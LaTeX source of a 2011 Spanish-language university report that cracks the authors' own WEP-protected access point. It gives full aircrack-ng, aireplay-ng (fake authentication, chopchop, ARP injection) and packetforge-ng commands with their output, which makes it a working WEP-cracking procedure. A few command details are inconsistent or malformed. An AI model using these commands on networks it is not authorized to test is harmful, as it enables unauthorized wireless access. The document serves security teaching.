%Configuracion del documento

%Tamaño de letra principal:
\documentclass[12pt]{article}

%Título y autor(es):
\title{Título del TP}
\author{Sergio}

%Tamaño de página y los márgenes:
\usepackage[a4paper,headheight=16pt]{geometry}
\textwidth      =  450pt     %Ancho del cuerpo
\textheight     =  648pt     %Largo del cuerpo
\topmargin      =  0pt       %Agrega espacio en el margen superior
\oddsidemargin  =  0pt       %+ margen izquierdo en paginas impares
\evensidemargin =  0pt       %+ margen derecho en paginas impares

% Vamos a escribir en castellano:
\usepackage[spanish]{babel}

%instalar texlive-lang-spanish
% Reconocer acentos y caracteres no ingleses:
\usepackage[utf8]{inputenc}

% Cabecera y pie de página personalizadas
\usepackage{fancyhdr}
\pagestyle{fancy}

% Hago que en la cabecera de página se muestre a la derecha la sección,
% y en el pie, en número de página a la derecha:
\renewcommand{\sectionmark}[1]{\markboth{}{\thesection\ \ #1}}
\lhead{}
\chead{}
\rhead{\rightmark}
\lfoot{}
\cfoot{}
\rfoot{\thepage}

%numeracion especial para tablas, figuras y ecuaciones
\usepackage{amsmath}
\numberwithin{equation}{section}
\numberwithin{figure}{section}
\numberwithin{table}{section}

%Agregar notas al pie en tablas:
\usepackage{threeparttable}

%Incluir Graficos
\usepackage{graphicx}

%Imágenes no flotantes, se colocan donde les decís que aparezcan cambiando [h] por [H]
\usepackage{float}

%Usar subfiguras: (al estilo Figura 2.3(b) )
\usepackage{subfigure}

% Para esto es necesario texlive-latex-recommended o texlive-latex-extra
%Numero de figuras en negrita
\usepackage[hang,bf]{caption}

% Todas las imágenes están en el directorio tp-img:
\newcommand{\imgdir}{tp-img}
\graphicspath{{\imgdir/}}

% uso de colores
\usepackage{color}
\definecolor{gray}{rgb}{0.9,0.9,0.9}

%Para embeber código de lenguajes como Matlab, C, html, etc.
\usepackage{float}
\usepackage{listings}
\lstset{ frame=Ltb, 
	framerule=0pt, 
	aboveskip=0.5cm, 
	framextopmargin=3pt, 
	framexbottommargin=3pt, 
	framexleftmargin=0 cm, 
	framesep=0pt, rulesep=.3pt, 
	backgroundcolor=\color{gray}, 
	rulesepcolor=\color{black}, 
	showstringspaces = false, 
	basicstyle=\small\ttfamily, 
	commentstyle=\color{gray}, 
	keywordstyle=\bfseries
	}

	%rulesepcolor=\color{black},
	%stringstyle=\ttfamily,
	%showstringspaces = false,
	%basicstyle=\small\ttfamily,
	%commentstyle=\color{gray},
	%keywordstyle=\bfseries,

	%numbers=left,
	%numbersep=15pt,
	%numberstyle=\tiny,
	%numberfirstline = false,
	%breaklines=true

%Para colocar hipervinculos
%\usepackage[dvipdfm,colorlinks=true,linkcolor=black,urlcolor=blue]{hyperref}
%Para hacer matrices y digramas de flujo sencillos

%\usepackage[all]{xy}

%INICIO DEL DOCUMENTO

\begin{document}

\begin{titlepage}

% Sin cabecera ni pie de página:
\thispagestyle{empty}

% Logo de la facu: 
\begin{center}
	\includegraphics[width=8cm]{logo-facu}
\end{center}
\vfill

% Título:
\begin{center}
	\Huge{Criptografía y Seguridad Informática}\\
	\Huge{Vulnerabilidades en la encriptación WEP}\\
\end{center}
\vspace{4cm}

% Integrantes:
\large{
	\begin{tabbing}
		Sergio Hinojosa \hspace{1cm} \\84476 \\
		shinojosa@fi.uba.ar\\
		\\
		Federico Camarda \hspace{1cm} \\87322 \\
		fededamian@gmail.com\\
	\end{tabbing}
}
\vfill

% Fecha o cuatrimestre:
\flushright{2011}
\end{titlepage}

% Hago que las páginas se comiencen a contar a partir de aquí:
\setcounter{page}{1}

%INDICE
%-------------------------------------------------------------------------------
% Pongo el índice en una página aparte:
\tableofcontents
\newpage
%-------------------------------------------------------------------------------

% Inicio del TP:
\section{Introducción de WEP}

Wired Equivalent Privacy (WEP) es un algoritmo de seguridad presentado en el año 1999 en el standard original de protocolos para redes Wireless IEEE 802.11.

WEP está basado en el algoritmo RC4, y utiliza claves de 64 bits (40 bits de contraseña más 24 bits de vector de inicialización) o de 128 bits (104 bits de contraseña más 24 bits de vector de inicialización).

A partir del año 2001 varias debilidades fueron identificadas. Uno de los problemas de este tipo de algoritmos de cifrado es que no se debe usar la misma semilla para cifrar dos mensajes diferentes, ya que obtener la clave sería trivial a partir de los dos textos cifrados resultantes. Para evitar esto, WEP especifica un vector de iniciación (IV) de 24 bits que se modifica regularmente y se concatena a la contraseña (a través de esta concatenación se genera la semilla que sirve de entrada al algoritmo).

El principal problema de WEP radica en que no implementa adecuadamente el vector de iniciación del algoritmo RC4, ya que utiliza un enfoque directo y predecible para incrementar el vector de un paquete a otro. Además existe un problema con el tamaño de los vectores de iniciación. A pesar de que se pueden generar muchos vectores, la cantidad de tramas que pasan a través de un punto de acceso es muy grande, lo que hace que rápidamente se encuentren dos mensajes con el mismo vector de iniciación. Conociendo los IV utilizados repetidamente y aplicando técnicas relativamente simples de descifrado puede finalmente vulnerarse la seguridad implementada. Aumentar los tamaños de las claves de cifrado aumenta el tiempo necesario para romperlo, pero no resulta imposible el descifrado.

\section{Sobre este trabajo}

El objetivo del presente trabajo es exponer las debilidades de la encripción WEP a partir de un ataque a una red local propia, utilizando técnicas de explotación de las vulnerabilidades de WEP conocidas. El propósito consiste en obtener la clave de la red sin ninguna información previa.

Las herramientas utilizadas para este tipo de ataque son sniffers de tráfico y crackers de contraseñas. El ataque consiste en capturar una cantidad de paquetes con la ayuda del sniffer, suficiente para que luego mediante un WEP cracker se logre “romper” el cifrado de la red. Un cracker es un programa basado generalmente en matemáticas estadísticas que procesa los paquetes capturados para descifrar la clave WEP. Crackear una llave más larga requiere la intercepción de más paquetes, pero hay ataques activos que estimulan el tráfico necesario (envenenadores de ARP).

\newpage

\section{Componentes Utilizados}

\subsection{Equipo Atacante}

Se utilizó el siguiente hardware en el equipo atacante:

\begin{itemize}
    \item {\bf Tajeta Wireless Atheros AR928x}.
    \item {\bf Chipset:}  AR928X 802.11abgn.
    \item {\bf Supports:}   802.11a 802.11b 802.11g 802.11 draft-n.
    \item {\bf Interface:}  PCI-Express x1
    \item {\bf Notes:}   Works with ath9k driver in 2.6.27+. \bf{Monitor works, injection works}.
    \item {\bf Sistema operativo:} Debian Linux.
    \item {\bf Drivers:} madwifi ath9k.
\end{itemize}

\subsection{Software}

\includegraphics[width=2 cm]{aircrack-ng-logo}

Aircrack-ng es un set de herramientas para auditar redes inalambricas. La misma, posee distintos programas para efectuar cada uno de los pasos a seguir en el ataque.
Web: http://www.aircrack-ng.org/

\subsection{Access Point}

El access point a atacar se configuró de la siguiente forma:

\begin{itemize}
    \item {\bf Equipo:} Lynksys Wireless-G ADSL Home Gateway - WAG200G
    \item {\bf Distancia:} $\simeq$ 5 m.
\end{itemize}

\newpage

\section{Experiencia}

A continuación se describirán los pasos a seguir para efectuar el ataque.

\subsection{Monitoreo}

En principio, se habilita el modo monitoreo de la placa para poder escuchar el tráfico de redes wireless. Esto se logra a partir del comando airmon-ng, el cual maneja todas las funciones de monitoreo de la red:

\begin{lstlisting}
$airmon-ng start wlan0
\end{lstlisting}

wlan0 es la interfaz de nuestra placa wireless.
El sistema responde:

\begin{lstlisting}
Interface	Chipset		Driver

wlan0		Atheros 	ath9k - [phy0]
mon0		Atheros 	ath9k - [phy0]
				(monitor mode enabled on mon1)
\end{lstlisting}

Ahora se tiene la interfaz mon0 para monitorear.\\

Luego se inicia el monitereo, en el cual veremos los access point visibles desde nuestra interfaz:

\begin{lstlisting}
$airodump-ng mon0
\end{lstlisting}

Se listan los AP visibles:
\begin{figure}[H]
	\centering
	\includegraphics[width=14 cm]{monitoreo}
	%\caption{Otro modo de insertar imagenes}
	%\label{fig:figura1}
\end{figure}

Se configura la placa para capturar el tráfico que genera nuestro AP. Para ello se
utiliza el siguiente comando:

\begin{lstlisting}
$airodump-ng -c 11 --bssid 00:1A:70:96:47:98 -w captura mon0
\end{lstlisting}

\begin{itemize}
\item {\bf -c} 11, es el número de canal de la red wireless
\item {\bf - \vspace{1mm} -bssid} 00:1A:70:96:47:98, es la dirección MAC del punto de acceso. Esto elimina otro tráfico no relevante.
\item {\bf -w} captura, es el nombre del archivo en el que se guardarán los IVs.
\item {\bf mon0} es el nombre de nuestra interface.
\end{itemize}

\subsection{Autenticación con el punto de acceso}

El AP rechazará cualquier paquete de cualquier dispositivo que no tenga su mac asociada con el, entonces tenemos 2 caminos: enviarles paquetes con la mac de un dispositivo ya asociado o establecer una falsa autenticación.

Como no hay otros dispositivos asociados realizamos una falsa autenticación. Para ello se utiliza el comando aireplay-ng, el cual maneja las tareas de envío de paquetes diseñados para cumplir una tarea específica. El comando utilizado fué el siguiente:

\begin{lstlisting}
$aireplay-ng -1 0 -e WIFI-AP -a 00:1A:70:96:47:98 -h
 00:22:43:61:1B:0F mon0
\end{lstlisting}

\begin{itemize}
\item {\bf -1}, significa falsa autenticación (fake authentication)
\item {\bf 0}, tiempo de reasociación en segundos
\item {\bf -e}, es el ESSID del AP
\item {\bf -a}, es la mac del AP
\item {\bf -h}, es la mac del equipo a asociar (Puede ser falsa, es la mac que viajará en los paquetes que inyectaremos, en este caso lo es).
\item {\bf mon0}, es el nombre de nuestra interface.
\end{itemize}

\begin{figure}[H]
	\centering
	\includegraphics[width=14 cm]{asociarAP0}
	%\caption{Otro modo de insertar imagenes}
	%\label{fig:figura1}
\end{figure}
Asociación exitosa, se puede observar en el monitor que hay una asociación establecida que es la nuestra:

\begin{figure}[H]
	\centering
	\includegraphics[width=14 cm]{asociarap}
	%\caption{Otro modo de insertar imagenes}
	%\label{fig:figura1}
\end{figure}

\subsection{Ataque cho chop}

\begin{lstlisting}
$aireplay-ng -4 ath0 -h 00:1A:70:96:47:98
\end{lstlisting}

\begin{itemize}
\item {\bf-4}, significa ataque chop chop.
\item {\bf-h}, 00:1A:70:96:47:98 es la dirección MAC usada en la falsa autenticación.
\item {\bf mon0}, es el nombre de nuestra interface.
\end{itemize}

Obtendremos:

\begin{figure}[H]
	\centering
	\includegraphics[width=14 cm]{paqueteainyectar}
	%\caption{Otro modo de insertar imagenes}
	%\label{fig:figura1}
\end{figure}

Aceptando, se sigue con algo como:

\begin{lstlisting}
 Saving chosen packet in replay_src-0417-140332.cap
 
 Offset 85 ( 0% done)|xor = D3|pt = 95|253 frames written in 760ms
 Offset 84 ( 1% done)|xor = EB|pt = 55|166 frames written in 498ms
 Offset 83 ( 3% done)|xor = 47|pt = 35|215 frames written in 645ms
 Offset 82 ( 5% done)|xor = 07|pt = 4D|161 frames written in 483ms
 Offset 81 ( 7% done)|xor = EB|pt = 00| 12 frames written in  36ms
 Offset 80 ( 9% done)|xor = CF|pt = 00|152 frames written in 456ms
 Offset 79 (11% done)|xor = 05|pt = 00| 29 frames written in  87ms
 Offset 78 (13% done)|xor = 69|pt = 00|151 frames written in 454ms
 Offset 77 (15% done)|xor = CA|pt = 00| 24 frames written in  71ms
 Offset 76 (17% done)|xor = 65|pt = 00|129 frames written in 387ms
 Offset 75 (19% done)|xor = 9E|pt = 00| 36 frames written in 108ms
 Offset 74 (21% done)|xor = 72|pt = 00| 39 frames written in 117ms
 Offset 73 (23% done)|xor = 01|pt = 00|146 frames written in 438ms
 Offset 72 (25% done)|xor = 71|pt = 00| 83 frames written in 249ms
 Offset 71 (26% done)|xor = A1|pt = 00| 43 frames written in 129ms
 Offset 70 (28% done)|xor = 3E|pt = 00| 98 frames written in 294ms
 Offset 69 (30% done)|xor = BB|pt = 00|129 frames written in 387ms
 Offset 68 (32% done)|xor = AE|pt = 00|248 frames written in 744ms
 Offset 67 (34% done)|xor = FB|pt = 00|105 frames written in 315ms
 Offset 66 (36% done)|xor = 43|pt = 00|101 frames written in 303ms
 Offset 65 (38% done)|xor = D4|pt = 00|158 frames written in 474ms
 Offset 64 (40% done)|xor = 16|pt = 00|197 frames written in 591ms
 Offset 63 (42% done)|xor = 7F|pt = 0C| 72 frames written in 217ms
 Offset 62 (44% done)|xor = 1F|pt = 37|166 frames written in 497ms
 Offset 61 (46% done)|xor = 5C|pt = A8|119 frames written in 357ms
 Offset 60 (48% done)|xor = 9B|pt = C0|229 frames written in 687ms
 Offset 59 (50% done)|xor = 91|pt = 00|113 frames written in 339ms
 Offset 58 (51% done)|xor = 25|pt = 00|184 frames written in 552ms
 Offset 57 (53% done)|xor = 94|pt = 00| 33 frames written in  99ms
 Offset 56 (55% done)|xor = F3|pt = 00|193 frames written in 579ms
 Offset 55 (57% done)|xor = D6|pt = 00| 17 frames written in  51ms
 Offset 54 (59% done)|xor = FA|pt = 00| 81 frames written in 243ms
 Offset 53 (61% done)|xor = EA|pt = 01| 95 frames written in 285ms
 Offset 52 (63% done)|xor = 5D|pt = 37| 24 frames written in  72ms
 Offset 51 (65% done)|xor = 33|pt = A8| 20 frames written in  59ms
 Offset 50 (67% done)|xor = CC|pt = C0| 97 frames written in 291ms
 Offset 49 (69% done)|xor = 03|pt = C9|188 frames written in 566ms
 Offset 48 (71% done)|xor = 34|pt = E5| 48 frames written in 142ms
 Offset 47 (73% done)|xor = 34|pt = 77| 64 frames written in 192ms
 Offset 46 (75% done)|xor = 51|pt = F4|253 frames written in 759ms
 Offset 45 (76% done)|xor = 98|pt = 40|109 frames written in 327ms
 Offset 44 (78% done)|xor = 3D|pt = 00|242 frames written in 726ms
 Offset 43 (80% done)|xor = 5E|pt = 01|194 frames written in 583ms
 Offset 42 (82% done)|xor = AF|pt = 00| 99 frames written in 296ms
 Offset 41 (84% done)|xor = C4|pt = 04|164 frames written in 492ms
 Offset 40 (86% done)|xor = CE|pt = 06| 69 frames written in 207ms
 Offset 39 (88% done)|xor = 9D|pt = 00|137 frames written in 411ms
 Offset 38 (90% done)|xor = FD|pt = 08|229 frames written in 688ms
 Offset 37 (92% done)|xor = 13|pt = 01|232 frames written in 695ms
 Offset 36 (94% done)|xor = 83|pt = 00| 19 frames written in  58ms
 Offset 35 (96% done)|xor = 4E|pt = 06|230 frames written in 689ms
 Sent 957 packets, current guess: B9...
 
 The AP appears to drop packets shorter than 72 bytes.
 Enabling standard workaround: ARP header re-creation.
 
 Saving plaintext in replay_dec-0417-140727.cap
 Saving keystream in replay_dec-0417-140727.xor
 
 Completed in 21s (2.29 bytes/s)
\end{lstlisting}

\subsubsection{Creando paquete ARP}
(Cambiar esta explicacion es muy copia de la web)
El archivo replay\_dec-0417-140727.xor contiene el PRGA con el que se puede generar un paquete para inyectar. El objetivo es crear un paquete ARP y que el punto de acceso reenvie continuamente el paquete ARP inyectado. Cuando lo reenvie obtendremos un nuevo IV (vector de inicialización). Todos estos IVs los usaremos para obtener la clave WEP. \\

Usamos entonces el comando packetforge-ng para crear el paquete a inyectar:

\begin{lstlisting}
$packetforge-ng -0 -a 00:1A:70:96:47:98 -h 00:22:43:61:1B:0F
 -k 255.255.255.255 -l 255.255.255.255.255 -y 
 replay_dec-0417-140727.xor -w arp-request 
\end{lstlisting}


\begin{itemize}
\item {\bf -0}, significa generar un paquete ARP.
\item {\bf -a} 00:1A:70:96:47:98, es la dirección MAC del punto de acceso.
\item {\bf -h} 00:22:43:61:1B:0F, es la dirección MAC de nuestra tarjeta wireless.
\item {\bf -k} 255.255.255.255, es la IP de destino (la mayoría de los APs responden a 255.255.255.255).
\item {\bf -l} 255.255.255.255, es la IP de origen (la mayoría de los APs responden a 255.255.255.255).
\item {\bf -y} replay\_dec-0417-140727.xor, es el archivo del que se leerá el PRGA.
\item {\bf -w} arp-request, es el nombre del archivo en el que se guardará el paquete ARP.
\end{itemize}

\subsubsection{Inyección}

Inyectamos el paquete:

\begin{lstlisting}
aireplay-ng -2 -r arp-request mon0
\end{lstlisting}

\begin{itemize}
\item {\bf -2}, significa que usamos el modo interactivo para seleccionar el paquete.
\item {\bf -r}, arp-request especificamos el nombre del archivo con el paquete ARP.
\item {\bf mon0}, es el nombre de nuestra interface.
\end{itemize}

\begin{figure}[H]
	\centering
	\includegraphics[width=14 cm]{inyeccion}
	%\caption{Otro modo de insertar imagenes}
	%\label{fig:figura1}
\end{figure}

Aceptamos y vemos en el monitor como va aumentando el tráfico:

\begin{figure}[H]
	\centering
	\includegraphics[width=14 cm]{inyectando}
	%\caption{Otro modo de insertar imagenes}
	%\label{fig:figura1}
\end{figure}

\section{Obteniendo la clave}

\begin{lstlisting}
aircrack-ng -z -b 00:1A:70:96:47:98 *.cap
\end{lstlisting}

\begin{itemize}
\item {\bf -z}, significa que se use el método PTW para obtener la clave WEP
\item {\bf *.cap}, selecciona todos los archivos con extensión “cap”.
\item {\bf -b 00:1A:70:96:47:98}, es el AP.
\end{itemize}

Obteniendo el siguiente resultado:

\begin{figure}[H]
	\centering
	\includegraphics[width=14 cm]{crack}
	%\caption{Otro modo de insertar imagenes}
	%\label{fig:figura1}
\end{figure}

\section{Verificando la clave obtenida}

La siguiente es una captura de la configuración del AP, donde se puede ver que la clave seteada coincide con la obtenida:

\begin{figure}[H]
	\centering
	\includegraphics[width=14 cm]{probando}
	%\caption{Otro modo de insertar imagenes}
	%\label{fig:figura1}
\end{figure}

\begin{figure}[H]
	\centering
	\includegraphics[width=14 cm]{clave}
	%\caption{Otro modo de insertar imagenes}
	%\label{fig:figura1}
\end{figure}

\end{document}
